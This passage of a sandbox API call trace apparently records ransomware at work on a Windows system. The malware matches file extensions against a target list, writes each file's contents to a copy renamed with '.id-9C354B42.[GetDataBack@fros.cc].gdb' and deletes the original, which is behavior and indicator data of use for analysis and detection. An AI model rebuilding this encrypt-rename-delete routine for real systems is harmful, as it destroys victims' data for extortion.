(lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.821] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.821] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.821] lstrlenW (lpString=".doc") returned 4 [0130.821] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.821] lstrlenW (lpString=".docx") returned 5 [0130.821] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0130.821] lstrlenW (lpString=".pdf") returned 4 [0130.821] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.821] lstrlenW (lpString=".xls") returned 4 [0130.821] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.821] lstrlenW (lpString=".xlsx") returned 5 [0130.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0130.821] lstrlenW (lpString=".ppt") returned 4 [0130.821] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.821] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.821] lstrlenW (lpString=".zip") returned 4 [0130.821] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.821] lstrlenW (lpString=".rar") returned 4 [0130.821] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.821] lstrlenW (lpString=".bz2") returned 4 [0130.821] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.821] lstrlenW (lpString=".7z") returned 3 [0130.821] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.821] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.821] lstrlenW (lpString=".dbf") returned 4 [0130.821] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.821] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.821] lstrlenW (lpString=".1cd") returned 4 [0130.822] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".jpg") returned 4 [0130.822] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".doc") returned 4 [0130.822] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString=".docx") returned 5 [0130.822] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0130.822] lstrlenW (lpString=".pdf") returned 4 [0130.822] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString=".xls") returned 4 [0130.822] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.822] lstrlenW (lpString=".xlsx") returned 5 [0130.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0130.822] lstrlenW (lpString=".ppt") returned 4 [0130.822] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".zip") returned 4 [0130.822] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.822] lstrlenW (lpString=".rar") returned 4 [0130.822] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.822] lstrlenW (lpString=".bz2") returned 4 [0130.822] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString=".7z") returned 3 [0130.822] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".dbf") returned 4 [0130.822] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".1cd") returned 4 [0130.822] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.822] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned 78 [0130.822] lstrlenW (lpString=".jpg") returned 4 [0130.822] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.822] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.822] lstrlenW (lpString="SceneButtonSubpicture.png") returned 25 [0130.822] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.823] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3119) returned 1 [0130.823] CloseHandle (hObject=0x1a8) returned 1 [0130.823] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0130.823] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.823] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.824] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned 76 [0130.824] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned 76 [0130.824] lstrlenW (lpString=".doc") returned 4 [0130.824] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.824] lstrlenW (lpString=".docx") returned 5 [0130.824] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0130.824] lstrlenW (lpString=".pdf") returned 4 [0130.824] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.824] lstrlenW (lpString=".xls") returned 4 [0130.824] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.824] lstrlenW (lpString=".xlsx") returned 5 [0130.824] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0130.824] lstrlenW (lpString=".ppt") returned 4 [0130.824] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.824] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned 76 [0130.824] lstrlenW (lpString=".zip") returned 4 [0130.824] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.824] lstrlenW (lpString=".rar") returned 4 [0130.824] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.824] lstrlenW (lpString=".bz2") returned 4 [0130.824] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.824] lstrlenW (lpString=".7z") returned 3 [0130.824] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.824] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned 76 [0130.824] lstrlenW (lpString=".dbf") returned 4 [0130.824] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.824] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.825] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.825] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.825] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.826] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.826] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.826] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.827] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.827] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0130.827] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0131.046] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.046] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0131.047] GetLastError () returned 0x0 [0131.047] ReadFile (in: hFile=0x204, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x712e, lpOverlapped=0x0) returned 1 [0131.049] WriteFile (in: hFile=0x1fc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x7130, lpOverlapped=0x0) returned 1 [0131.050] ReadFile (in: hFile=0x204, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0131.050] WriteFile (in: hFile=0x1fc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0131.050] SetEndOfFile (hFile=0x1fc) returned 1 [0131.050] CloseHandle (hObject=0x1fc) returned 1 [0131.051] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.051] SetEndOfFile (hFile=0x204) returned 1 [0131.054] CloseHandle (hObject=0x204) returned 1 [0131.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0131.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString=".doc") returned 4 [0131.055] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString=".docx") returned 5 [0131.055] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0131.055] lstrlenW (lpString=".pdf") returned 4 [0131.055] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString=".xls") returned 4 [0131.055] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString=".xlsx") returned 5 [0131.055] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0131.055] lstrlenW (lpString=".ppt") returned 4 [0131.055] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString=".zip") returned 4 [0131.055] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.055] lstrlenW (lpString=".rar") returned 4 [0131.055] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString=".bz2") returned 4 [0131.055] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString=".7z") returned 3 [0131.055] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString=".dbf") returned 4 [0131.055] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString=".1cd") returned 4 [0131.055] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0131.055] lstrlenW (lpString=".jpg") returned 4 [0131.055] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.056] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.056] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0131.056] GetLastError () returned 0x0 [0131.056] ReadFile (in: hFile=0x204, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x851c, lpOverlapped=0x0) returned 1 [0131.265] WriteFile (in: hFile=0x1fc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x8520, lpOverlapped=0x0) returned 1 [0131.266] ReadFile (in: hFile=0x204, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0131.266] WriteFile (in: hFile=0x1fc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0131.266] SetEndOfFile (hFile=0x1fc) returned 1 [0131.560] CloseHandle (hObject=0x1fc) returned 1 [0131.581] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0131.581] SetEndOfFile (hFile=0x204) returned 1 [0131.582] CloseHandle (hObject=0x204) returned 1 [0131.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString=".doc") returned 4 [0131.583] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString=".docx") returned 5 [0131.583] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.583] lstrlenW (lpString=".pdf") returned 4 [0131.583] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString=".xls") returned 4 [0131.583] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString=".xlsx") returned 5 [0131.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.583] lstrlenW (lpString=".ppt") returned 4 [0131.583] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString=".zip") returned 4 [0131.583] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.583] lstrlenW (lpString=".rar") returned 4 [0131.583] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString=".bz2") returned 4 [0131.583] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString=".7z") returned 3 [0131.583] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString=".dbf") returned 4 [0131.583] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString=".1cd") returned 4 [0131.583] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0131.583] lstrlenW (lpString=".jpg") returned 4 [0131.583] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0132.139] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.139] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.140] GetLastError () returned 0x0 [0132.141] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1c30, lpOverlapped=0x0) returned 1 [0132.176] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1c40, lpOverlapped=0x0) returned 1 [0132.177] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0132.177] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0132.177] SetEndOfFile (hFile=0x21c) returned 1 [0132.177] CloseHandle (hObject=0x21c) returned 1 [0132.177] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.177] SetEndOfFile (hFile=0x1f0) returned 1 [0132.178] CloseHandle (hObject=0x1f0) returned 1 [0132.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0132.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.178] lstrlenW (lpString=".doc") returned 4 [0132.178] 